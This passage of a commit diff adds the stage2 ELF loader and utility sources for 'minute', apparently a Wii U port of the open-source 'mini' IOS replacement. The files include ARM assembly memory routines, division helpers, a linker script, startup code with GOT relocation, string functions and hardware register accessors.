__typeof__ (b) _b = (b); \
_a < _b ? _a : _b; })
#endif

70
stage2/utils_asm.S Normal file
View File

@ -0,0 +1,70 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
.arm
.globl memcpy32
.globl memcpy16
.globl memcpy8
.globl memset32
.globl memset16
.globl memset8
.section .sram.text
memcpy32:
bics r2, #3
bxeq lr
1: ldr r3, [r1],#4
str r3, [r0],#4
subs r2, #4
bne 1b
bx lr
memset32:
bics r2, #3
bxeq lr
1: str r1, [r0],#4
subs r2, #4
bne 1b
bx lr
memcpy16:
bics r2, #1
bxeq lr
1: ldrh r3, [r1],#2
strh r3, [r0],#2
subs r2, #2
bne 1b
bx lr
memset16:
bics r2, #1
bxeq lr
1: strh r1, [r0],#2
subs r2, #2
bne 1b
bx lr
memcpy8:
cmp r2, #0
bxeq lr
1: ldrb r3, [r1],#1
strb r3, [r0],#1
subs r2, #1
bne 1b
bx lr
memset8:
cmp r2, #0
bxeq lr
1: strb r1, [r0],#1
subs r2, #1
bne 1b
bx lr

6
stage2ldr/.gitignore vendored Normal file
View File

@ -0,0 +1,6 @@
*.d
*.bin
*.elf
*.o
*.map

36
stage2ldr/Makefile Normal file
View File

@ -0,0 +1,36 @@
C_FILES := $(foreach dir, ., $(wildcard $(dir)/*.c))
S_FILES := $(foreach dir, ., $(wildcard $(dir)/*.S))
OBJS := $(C_FILES:.c=.o) $(S_FILES:.S=.o)
PREFIX = $(DEVKITARM)/bin/arm-none-eabi
CC = $(PREFIX)-gcc
LD = $(PREFIX)-ld
STRIP = $(PREFIX)-strip
OBJCOPY = $(PREFIX)-objcopy
ASFLAGS = -marm -fomit-frame-pointer -mbig-endian -fshort-wchar -mcpu=arm926ej-s -march=armv5te -fno-zero-initialized-in-bss
CFLAGS = -Os -Wall -fpic $(ASFLAGS)
LDFLAGS = -n -nostartfiles -Wl,-EB -L"$(DEVKITARM)/arm-none-eabi/lib"
all: stage2ldr.bin
stage2ldr.bin: stage2ldr.elf
@echo $(notdir $@)
@$(OBJCOPY) -S -O binary $^ $@
stage2ldr.elf: $(OBJS)
@echo $(notdir $@)
@$(CC) $(LDFLAGS) -T link.ld $^ -o $@
%.o: %.c
@echo $(notdir $<)
@$(CC) $(CFLAGS) -c $^ -o $@
%.o: %.S
@echo $(notdir $<)
@$(CC) $(ASFLAGS) -c $^ -o $@
clean:
@rm -rf $(OBJS) stage2ldr.elf stage2ldr.bin
@echo "Cleaned!"

66
stage2ldr/elf.h Normal file
View File

@ -0,0 +1,66 @@
/*
mini - a Free Software replacement for the Nintendo/BroadOn IOS.
ELF loader: ELF structures
Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, version 2.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#ifndef __ELF_H__
#define __ELF_H__
#include "types.h"
#define EI_NIDENT 16
typedef struct {
unsigned char e_ident[EI_NIDENT];
u16 e_type;
u16 e_machine;
u32 e_version;
void *e_entry;
u32 e_phoff;
u32 e_shoff;
u32 e_flags;
u16 e_ehsize;
u16 e_phentsize;
u16 e_phnum;
u16 e_shentsize;
u16 e_shnum;
u16 e_shtrndx;
} Elf32_Ehdr;
typedef struct {
u32 p_type;
u32 p_offset;
void *p_vaddr;
void *p_paddr;
u32 p_filesz;
u32 p_memsz;
u32 p_flags;
u32 p_align;
} Elf32_Phdr;
#define PT_NULL 0
#define PT_LOAD 1
#define PT_DYNAMIC 2
#define PT_INTERP 3
#define PT_NOTE 4
#define PT_SHLIB 5
#define PT_PHDR 6
#endif

31
stage2ldr/hollywood.h Normal file
View File

@ -0,0 +1,31 @@
/*
mini - a Free Software replacement for the Nintendo/BroadOn IOS.
ELF loader: Hollywood register definitions
Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, version 2.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#ifndef __HOLLYWOOD_H__
#define __HOLLYWOOD_H__
#define HW_REG_BASE 0xd800000
#define HW_TIMER (HW_REG_BASE + 0x010)
#define HW_MEMMIRR (HW_REG_BASE + 0x060)
#define HW_BOOT0 (HW_REG_BASE + 0x18c)
#endif

94
stage2ldr/link.ld Normal file
View File

@ -0,0 +1,94 @@
/*
elfloader - a Free Software replacement for the Nintendo/BroadOn IOS.
Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, version 2.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
OUTPUT_FORMAT("elf32-bigarm")
OUTPUT_ARCH(arm)
EXTERN(_start)
ENTRY(_start)
__base_addr = 0;
__stack_size = 0x100;
SECTIONS
{
. = __base_addr;
__code_start = .;
.init :
{
*(.init)
. = ALIGN(4);
}
.got :
{
__got_start = .;
*(.got.*)
*(.got)
. = ALIGN(4);
__got_end = . ;
}
.text :
{
*(.text.*)
*(.gnu.warning)
*(.gnu.linkonce.t*)
*(.glue_7)
*(.glue_7t)
. = ALIGN(4);
}
__text_end = . ;
.rodata :
{
*(.rodata)
*all.rodata*(*)
*(.roda)
*(.rodata.*)
*(.gnu.linkonce.r*)
. = ALIGN(4);
}
.data :
{
*(.data)
*(.data.*)
*(.gnu.linkonce.d*)
*(.dynbss)
*(.gnu.linkonce.b*)
*(.bss*)
*(.sbss*)
*(COMMON)
. = ALIGN(32);
__stack_end = .;
. = . + __stack_size;
__stack_addr = .;
}
__end = .;
}
PROVIDE (__stack_end = __stack_end);
PROVIDE (__stack_addr = __stack_addr);
PROVIDE (__got_start = __got_start);
PROVIDE (__got_end = __got_end);
PROVIDE (__elf_start = __end);

73
stage2ldr/loader.c Normal file
View File

@ -0,0 +1,73 @@
/*
mini - a Free Software replacement for the Nintendo/BroadOn IOS.
ELF loader
Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, version 2.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include "types.h"
#include "utils.h"
#include "start.h"
#include "hollywood.h"
#include "string.h"
#include "elf.h"
extern u8 __elf_start[];
void *loadelf(const u8 *elf) {
if(memcmp("\x7F" "ELF\x01\x02\x01",elf,7)) {
panic(0xE3);
}
Elf32_Ehdr *ehdr = (Elf32_Ehdr*)elf;
if(ehdr->e_phoff == 0) {
panic(0xE4);
}
int count = ehdr->e_phnum;
Elf32_Phdr *phdr = (Elf32_Phdr*)(elf + ehdr->e_phoff);
while(count--)
{
if(phdr->p_type == PT_LOAD) {
const void *src = elf + phdr->p_offset;
memcpy(phdr->p_paddr, src, phdr->p_filesz);
}
phdr++;
}
return ehdr->e_entry;
}
static inline void disable_boot0()
{
set32(HW_BOOT0, 0x1000);
}
static inline void mem_setswap()
{
set32(HW_MEMMIRR, 0x20);
}
void *_main(void *base)
{
void *entry;
mem_setswap(1);
disable_boot0(1);
entry = loadelf(__elf_start);
return entry;
}

398
stage2ldr/math_asm.S Normal file
View File

@ -0,0 +1,398 @@
#ifdef __ARMEB__
#define xh r0
#define xl r1
#define yh r2
#define yl r3
#else
#define xl r0
#define xh r1
#define yl r2
#define yh r3
#endif
.global __muldi3
__muldi3:
.global __aeabi_lmul
__aeabi_lmul:
mul xh, yl, xh
mla xh, xl, yh, xh
mov ip, xl, lsr #16
mov yh, yl, lsr #16
bic xl, xl, ip, lsl #16
bic yl, yl, yh, lsl #16
mla xh, yh, ip, xh
mul yh, xl, yh
mul xl, yl, xl
mul ip, yl, ip
adds xl, xl, yh, lsl #16
adc xh, xh, yh, lsr #16
adds xl, xl, ip, lsl #16
adc xh, xh, ip, lsr #16
mov pc, lr
dividend .req r0
divisor .req r1
result .req r2
curbit .req r3
.globl __udivsi3
.type __udivsi3 ,function
.globl __aeabi_uidiv
.type __aeabi_uidiv ,function
.align 0
__udivsi3:
__aeabi_uidiv:
cmp divisor, #0
beq Ldiv0_uidiv
mov curbit, #1
mov result, #0
cmp dividend, divisor
bcc Lgot_result
Loop1:
@ Unless the divisor is very big, shift it up in multiples of
@ four bits, since this is the amount of unwinding in the main
@ division loop. Continue shifting until the divisor is
@ larger than the dividend.
cmp divisor, #0x10000000
cmpcc divisor, dividend
movcc divisor, divisor, lsl #4
movcc curbit, curbit, lsl #4
bcc Loop1
Lbignum:
@ For very big divisors, we must shift it a bit at a time, or
@ we will be in danger of overflowing.
cmp divisor, #0x80000000
cmpcc divisor, dividend
movcc divisor, divisor, lsl #1
movcc curbit, curbit, lsl #1
bcc Lbignum
Loop3:
@ Test for possible subtractions, and note which bits
@ are done in the result. On the final pass, this may subtract
@ too much from the dividend, but the result will be ok, since the
@ "bit" will have been shifted out at the bottom.
cmp dividend, divisor
subcs dividend, dividend, divisor
orrcs result, result, curbit
cmp dividend, divisor, lsr #1
subcs dividend, dividend, divisor, lsr #1
orrcs result, result, curbit, lsr #1
cmp dividend, divisor, lsr #2
subcs dividend, dividend, divisor, lsr #2
orrcs result, result, curbit, lsr #2
cmp dividend, divisor, lsr #3
subcs dividend, dividend, divisor, lsr #3
orrcs result, result, curbit, lsr #3
cmp dividend, #0 @ Early termination?
movnes curbit, curbit, lsr #4 @ No, any more bits to do?
movne divisor, divisor, lsr #4
bne Loop3
Lgot_result:
mov r0, result
mov pc, lr
Ldiv0_uidiv:
str lr, [sp, #-4]!
#bl __div0 (PLT)
mov r0, #0 @ about as wrong as it could be
ldmia sp!, {pc}
.size __udivsi3 , . - __udivsi3
.globl __aeabi_uidivmod
__aeabi_uidivmod:
stmfd sp!, {r0, r1, ip, lr}
bl __aeabi_uidiv
ldmfd sp!, {r1, r2, ip, lr}
mul r3, r0, r2
sub r1, r1, r3
mov pc, lr
.globl __aeabi_idivmod
__aeabi_idivmod:
stmfd sp!, {r0, r1, ip, lr}
bl __aeabi_idiv
ldmfd sp!, {r1, r2, ip, lr}
mul r3, r0, r2
sub r1, r1, r3
mov pc, lr
.macro ARM_DIV_BODY dividend, divisor, result, curbit
#if __LINUX_ARM_ARCH__ >= 5
clz \curbit, \divisor
clz \result, \dividend
sub \result, \curbit, \result
mov \curbit, #1
mov \divisor, \divisor, lsl \result
mov \curbit, \curbit, lsl \result
mov \result, #0
#else
@ Initially shift the divisor left 3 bits if possible,
@ set curbit accordingly. This allows for curbit to be located
@ at the left end of each 4 bit nibbles in the division loop
@ to save one loop in most cases.
tst \divisor, #0xe0000000
moveq \divisor, \divisor, lsl #3
moveq \curbit, #8
movne \curbit, #1
@ Unless the divisor is very big, shift it up in multiples of
@ four bits, since this is the amount of unwinding in the main
@ division loop. Continue shifting until the divisor is
@ larger than the dividend.
1: cmp \divisor, #0x10000000
cmplo \divisor, \dividend
movlo \divisor, \divisor, lsl #4
movlo \curbit, \curbit, lsl #4
blo 1b
@ For very big divisors, we must shift it a bit at a time, or
@ we will be in danger of overflowing.
1: cmp \divisor, #0x80000000
cmplo \divisor, \dividend
movlo \divisor, \divisor, lsl #1
movlo \curbit, \curbit, lsl #1
blo 1b
mov \result, #0
#endif
@ Division loop
1: cmp \dividend, \divisor
subhs \dividend, \dividend, \divisor
orrhs \result, \result, \curbit
cmp \dividend, \divisor, lsr #1
subhs \dividend, \dividend, \divisor, lsr #1
orrhs \result, \result, \curbit, lsr #1
cmp \dividend, \divisor, lsr #2
subhs \dividend, \dividend, \divisor, lsr #2
orrhs \result, \result, \curbit, lsr #2
cmp \dividend, \divisor, lsr #3
subhs \dividend, \dividend, \divisor, lsr #3
orrhs \result, \result, \curbit, lsr #3
cmp \dividend, #0 @ Early termination?
movnes \curbit, \curbit, lsr #4 @ No, any more bits to do?
movne \divisor, \divisor, lsr #4
bne 1b
.endm
.macro ARM_DIV2_ORDER divisor, order
#if __LINUX_ARM_ARCH__ >= 5
clz \order, \divisor
rsb \order, \order, #31
#else
cmp \divisor, #(1 << 16)
movhs \divisor, \divisor, lsr #16
movhs \order, #16
movlo \order, #0
cmp \divisor, #(1 << 8)
movhs \divisor, \divisor, lsr #8
addhs \order, \order, #8
cmp \divisor, #(1 << 4)
movhs \divisor, \divisor, lsr #4
addhs \order, \order, #4
cmp \divisor, #(1 << 2)
addhi \order, \order, #3
addls \order, \order, \divisor, lsr #1
#endif
.endm
.align 5
.globl __divsi3
.globl __aeabi_idiv
__divsi3:
__aeabi_idiv:
cmp r1, #0
eor ip, r0, r1 @ save the sign of the result.
beq Ldiv0
rsbmi r1, r1, #0 @ loops below use unsigned.
subs r2, r1, #1 @ division by 1 or -1 ?
beq 10f
movs r3, r0
rsbmi r3, r0, #0 @ positive dividend value
cmp r3, r1
bls 11f
tst r1, r2 @ divisor is power of 2 ?
beq 12f
ARM_DIV_BODY r3, r1, r0, r2
cmp ip, #0
rsbmi r0, r0, #0
mov pc, lr
10: teq ip, r0 @ same sign ?
rsbmi r0, r0, #0
mov pc, lr
11: movlo r0, #0
moveq r0, ip, asr #31
orreq r0, r0, #1
mov pc, lr
12: ARM_DIV2_ORDER r1, r2
cmp ip, #0
mov r0, r3, lsr r2
rsbmi r0, r0, #0
mov pc, lr
Ldiv0:
str lr, [sp, #-4]!
#bl __div0
mov r0, #0 @ About as wrong as it could be.
ldr pc, [sp], #4
.global __aeabi_uldivmod
.type __aeabi_uldivmod, function
.align 0
A_0 .req r0
A_1 .req r1
B_0 .req r2
B_1 .req r3
C_0 .req r4
C_1 .req r5
D_0 .req r6
D_1 .req r7
Q_0 .req r0
Q_1 .req r1
R_0 .req r2
R_1 .req r3
__aeabi_uldivmod:
stmfd sp!, {r4, r5, r6, r7, lr}
@ Test if B == 0
orrs ip, B_0, B_1 @ Z set -> B == 0
beq L_div_by_0
@ Test if B is power of 2: (B & (B - 1)) == 0
subs C_0, B_0, #1
sbc C_1, B_1, #0
tst C_0, B_0
tsteq B_1, C_1
beq L_pow2
@ Test if A_1 == B_1 == 0
orrs ip, A_1, B_1
beq L_div_32_32
L_div_64_64:
mov C_0, #1
mov C_1, #0
@ D_0 = clz A
teq A_1, #0
clz D_0, A_1
clzeq ip, A_0
addeq D_0, D_0, ip
@ D_1 = clz B
teq B_1, #0
clz D_1, B_1
clzeq ip, B_0
addeq D_1, D_1, ip
@ if clz B - clz A > 0
subs D_0, D_1, D_0
bls L_done_shift
@ B <<= (clz B - clz A)
subs D_1, D_0, #32
rsb ip, D_0, #32
movmi B_1, B_1, lsl D_0
orrmi B_1, B_1, B_0, lsr ip
movpl B_1, B_0, lsl D_1
mov B_0, B_0, lsl D_0
@ C = 1 << (clz B - clz A)
movmi C_1, C_1, lsl D_0
orrmi C_1, C_1, C_0, lsr ip
movpl C_1, C_0, lsl D_1
mov C_0, C_0, lsl D_0
L_done_shift:
mov D_0, #0
mov D_1, #0
@ C: current bit; D: result
L_subtract:
@ if A >= B
cmp A_1, B_1
cmpeq A_0, B_0
bcc L_update
@ A -= B
subs A_0, A_0, B_0
sbc A_1, A_1, B_1
@ D |= C
orr D_0, D_0, C_0
orr D_1, D_1, C_1
L_update:
@ if A == 0: break
orrs ip, A_1, A_0
beq L_exit
@ C >>= 1
movs C_1, C_1, lsr #1
movs C_0, C_0, rrx
@ if C == 0: break
orrs ip, C_1, C_0
beq L_exit
@ B >>= 1
movs B_1, B_1, lsr #1
mov B_0, B_0, rrx
b L_subtract
L_exit:
@ Note: A, B & Q, R are aliases
mov R_0, A_0
mov R_1, A_1
mov Q_0, D_0
mov Q_1, D_1
ldmfd sp!, {r4, r5, r6, r7, pc}
L_div_32_32:
@ Note: A_0 & r0 are aliases
@ Q_1 r1
mov r1, B_0
bl __aeabi_uidivmod
mov R_0, r1
mov R_1, #0
mov Q_1, #0
ldmfd sp!, {r4, r5, r6, r7, pc}
L_pow2:
@ Note: A, B and Q, R are aliases
@ R = A & (B - 1)
and C_0, A_0, C_0
and C_1, A_1, C_1
@ Q = A >> log2(B)
@ Note: B must not be 0 here!
clz D_0, B_0
add D_1, D_0, #1
rsbs D_0, D_0, #31
bpl L_1
clz D_0, B_1
rsb D_0, D_0, #31
mov A_0, A_1, lsr D_0
add D_0, D_0, #32
L_1:
movpl A_0, A_0, lsr D_0
orrpl A_0, A_0, A_1, lsl D_1
mov A_1, A_1, lsr D_0
@ Mov back C to R
mov R_0, C_0
mov R_1, C_1
ldmfd sp!, {r4, r5, r6, r7, pc}
L_div_by_0:
#bl __div0
@ As wrong as it could be
mov Q_0, #0
mov Q_1, #0
mov R_0, #0
mov R_1, #0
ldmfd sp!, {r4, r5, r6, r7, pc}

72
stage2ldr/start.S Normal file
View File

@ -0,0 +1,72 @@
/*
mini - a Free Software replacement for the Nintendo/BroadOn IOS.
ELF loader: system startup
Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, version 2.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
.arm
.extern _main
.extern __got_start
.extern __got_end
.extern __stack_addr
.extern delay
.globl _start
.section .init
_start:
@ Get real address of _start
sub r4, pc, #8
@ Subtract offset to get the address that we were loaded at
ldr r0, =_start
sub r4, r4, r0
@ Set up a stack
ldr sp, =__stack_addr
add sp, r4
@ relocate the GOT entries
ldr r1, =__got_start
add r1, r4
ldr r2, =__got_end
add r2, r4
got_loop:
@ check for the end
cmp r1, r2
beq done_got
@ read the GOT entry
ldr r3, [r1]
@ add our base address
add r3, r4
str r3, [r1]
@ move on
add r1, r1, #4
b got_loop
done_got:
@ take the plunge
mov r0, r4
bl _main
@ _main returned! Go to whatever address it returned...
mov r1, r0
mov r0, r4
mov pc, r1
.pool

30
stage2ldr/start.h Normal file
View File

@ -0,0 +1,30 @@
/*
mini - a Free Software replacement for the Nintendo/BroadOn IOS.
ELF loader: system startup
Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, version 2.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#ifndef __START_H__
#define __START_H__
#include "types.h"
void debug_output(u8 byte);
#endif

135
stage2ldr/string.c Normal file
View File

@ -0,0 +1,135 @@
/* string.c -- standard C string-manipulation functions.
Copyright (C) 2008 Segher Boessenkool <segher@kernel.crashing.org>
Copyright (C) 2009 Haxx Enterprises <bushing@gmail.com>
Portions taken from the Public Domain C Library (PDCLib).
https://negix.net/trac/pdclib
# This code is licensed to you under the terms of the GNU GPL, version 2;
# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#include "string.h"
size_t strlen(const char *s)
{
size_t len;
for (len = 0; s[len]; len++)
;
return len;
}
size_t strnlen(const char *s, size_t count)
{
size_t len;
for (len = 0; s[len] && len < count; len++)
;
return len;
}
void *memset(void *b, int c, size_t len)
{
size_t i;
for (i = 0; i < len; i++)
((unsigned char *)b)[i] = c;
return b;
}
void *memcpy(void *dst, const void *src, size_t len)
{
size_t i;
for (i = 0; i < len; i++)
((unsigned char *)dst)[i] = ((unsigned char *)src)[i];
return dst;
}
int memcmp(const void *s1, const void *s2, size_t len)
{
size_t i;
const unsigned char * p1 = (const unsigned char *) s1;
const unsigned char * p2 = (const unsigned char *) s2;
for (i = 0; i < len; i++)
if (p1[i] != p2[i]) return p1[i] - p2[i];
return 0;
}
int strcmp(const char *s1, const char *s2)
{
size_t i;
for (i = 0; s1[i] && s1[i] == s2[i]; i++)
;
return s1[i] - s2[i];
}
int strncmp(const char *s1, const char *s2, size_t n)
{
size_t i;
for (i = 0; i < n && s1[i] && s1[i] == s2[i]; i++)
;
if (i == n) return 0;
return s1[i] - s2[i];
}
char * strchr(const char *s, int c)
{
size_t i;
for (i = 0; s[i]; i++)
if (s[i] == (char)c) return (char *)s + i;
return NULL;
}
size_t strspn(const char *s1, const char *s2)
{
size_t len = 0;
const char *p;
while (s1[len]) {
p = s2;
while (*p) {
if (s1[len] == *p)
break;
++p;
}
if (!*p)
return len;
++len;
}
return len;
}
size_t strcspn(const char *s1, const char *s2)
{
size_t len = 0;
const char *p;
while (s1[len]) {
p = s2;
while (*p)
if (s1[len] == *p++)
return len;
++len;
}
return len;
}

27
stage2ldr/string.h Normal file
View File

@ -0,0 +1,27 @@
/* string.c -- standard C string-manipulation functions.
Copyright (C) 2008 Segher Boessenkool <segher@kernel.crashing.org>
Copyright (C) 2009 Haxx Enterprises <bushing@gmail.com>
# This code is licensed to you under the terms of the GNU GPL, version 2;
# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#ifndef _STRING_H
#define _STRING_H
#include "types.h"
size_t strlen(const char *);
size_t strnlen(const char *, size_t);
void *memset(void *, int, size_t);
void *memcpy(void *, const void *, size_t);
int memcmp(const void *, const void *, size_t);
int strcmp(const char *, const char *);
int strncmp(const char *, const char *, size_t);
char *strchr(const char *, int);
size_t strspn(const char *, const char *);
size_t strcspn(const char *, const char *);
#endif

50
stage2ldr/types.h Normal file
View File

@ -0,0 +1,50 @@
/*
mini - a Free Software replacement for the Nintendo/BroadOn IOS.
ELF loader: types
Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, version 2.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#ifndef __TYPES_H__
#define __TYPES_H__
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned long long u64;
typedef signed char s8;
typedef signed short s16;
typedef signed int s32;
typedef signed long long s64;
typedef volatile unsigned char vu8;
typedef volatile unsigned short vu16;
typedef volatile unsigned int vu32;
typedef volatile unsigned long long vu64;
typedef volatile signed char vs8;
typedef volatile signed short vs16;
typedef volatile signed int vs32;
typedef volatile signed long long vs64;
typedef s32 size_t;
#define NULL ((void *)0)
#endif

42
stage2ldr/utils.c Normal file
View File

@ -0,0 +1,42 @@
/*
mini - a Free Software replacement for the Nintendo/BroadOn IOS.
ELF loader: random utilities
Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, version 2.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include "types.h"
#include "utils.h"
#include "hollywood.h"
#include "start.h"
void udelay(u32 d)
{
// should be good to max .2% error
u32 ticks = d * 19 / 10;
write32(HW_TIMER, 0);
while(read32(HW_TIMER) < ticks);
}
void panic(u8 v)
{
while(1) {
// uhh
}
}

188
stage2ldr/utils.h Normal file
View File

@ -0,0 +1,188 @@
/*
mini - a Free Software replacement for the Nintendo/BroadOn IOS.
ELF loader: random utilities
Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, version 2.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#ifndef __UTILS_H__
#define __UTILS_H__
static inline u32 read32(u32 addr)
{
u32 data;
__asm__ volatile ("ldr\t%0, [%1]" : "=r" (data) : "r" (addr));
return data;
}
static inline void write32(u32 addr, u32 data)
{
__asm__ volatile ("str\t%0, [%1]" : : "r" (data), "r" (addr));
}
static inline u32 set32(u32 addr, u32 set)
{
u32 data;
__asm__ volatile (
"ldr\t%0, [%1]\n"
"\torr\t%0, %2\n"
"\tstr\t%0, [%1]"
: "=&r" (data)
: "r" (addr), "r" (set)
);
return data;
}
static inline u32 clear32(u32 addr, u32 clear)
{
u32 data;
__asm__ volatile (
"ldr\t%0, [%1]\n"
"\tbic\t%0, %2\n"
"\tstr\t%0, [%1]"
: "=&r" (data)
: "r" (addr), "r" (clear)
);
return data;
}
static inline u32 mask32(u32 addr, u32 clear, u32 set)
{
u32 data;
__asm__ volatile (
"ldr\t%0, [%1]\n"
"\tbic\t%0, %3\n"
"\torr\t%0, %2\n"
"\tstr\t%0, [%1]"
: "=&r" (data)
: "r" (addr), "r" (set), "r" (clear)
);
return data;
}
static inline u16 read16(u32 addr)
{
u32 data;
__asm__ volatile ("ldrh\t%0, [%1]" : "=r" (data) : "r" (addr));
return data;
}
static inline void write16(u32 addr, u16 data)
{
__asm__ volatile ("strh\t%0, [%1]" : : "r" (data), "r" (addr));
}
static inline u16 set16(u32 addr, u16 set)
{
u16 data;
__asm__ volatile (
"ldrh\t%0, [%1]\n"
"\torr\t%0, %2\n"
"\tstrh\t%0, [%1]"
: "=&r" (data)
: "r" (addr), "r" (set)
);
return data;
}
static inline u16 clear16(u32 addr, u16 clear)
{
u16 data;
__asm__ volatile (
"ldrh\t%0, [%1]\n"
"\tbic\t%0, %2\n"
"\tstrh\t%0, [%1]"
: "=&r" (data)
: "r" (addr), "r" (clear)
);
return data;
}
static inline u16 mask16(u32 addr, u16 clear, u16 set)
{
u16 data;
__asm__ volatile (
"ldrh\t%0, [%1]\n"
"\tbic\t%0, %3\n"
"\torr\t%0, %2\n"
"\tstrh\t%0, [%1]"
: "=&r" (data)
: "r" (addr), "r" (set), "r" (clear)
);
return data;
}
static inline u8 read8(u32 addr)
{
u32 data;
__asm__ volatile ("ldrb\t%0, [%1]" : "=r" (data) : "r" (addr));
return data;
}
static inline void write8(u32 addr, u8 data)
{
__asm__ volatile ("strb\t%0, [%1]" : : "r" (data), "r" (addr));
}
static inline u8 set8(u32 addr, u8 set)
{
u8 data;
__asm__ volatile (
"ldrb\t%0, [%1]\n"
"\torr\t%0, %2\n"
"\tstrb\t%0, [%1]"
: "=&r" (data)
: "r" (addr), "r" (set)
);
return data;
}
static inline u8 clear8(u32 addr, u8 clear)
{
u8 data;
__asm__ volatile (
"ldrb\t%0, [%1]\n"
"\tbic\t%0, %2\n"
"\tstrb\t%0, [%1]"
: "=&r" (data)
: "r" (addr), "r" (clear)
);
return data;
}
static inline u8 mask8(u32 addr, u8 clear, u8 set)
{
u8 data;
__asm__ volatile (
"ldrb\t%0, [%1]\n"
"\tbic\t%0, %3\n"
"\torr\t%0, %2\n"
"\tstrb\t%0, [%1]"
: "=&r" (data)
: "r" (addr), "r" (set), "r" (clear)
);
return data;
}
void udelay(u32 d);
void panic(u8 v);
#endif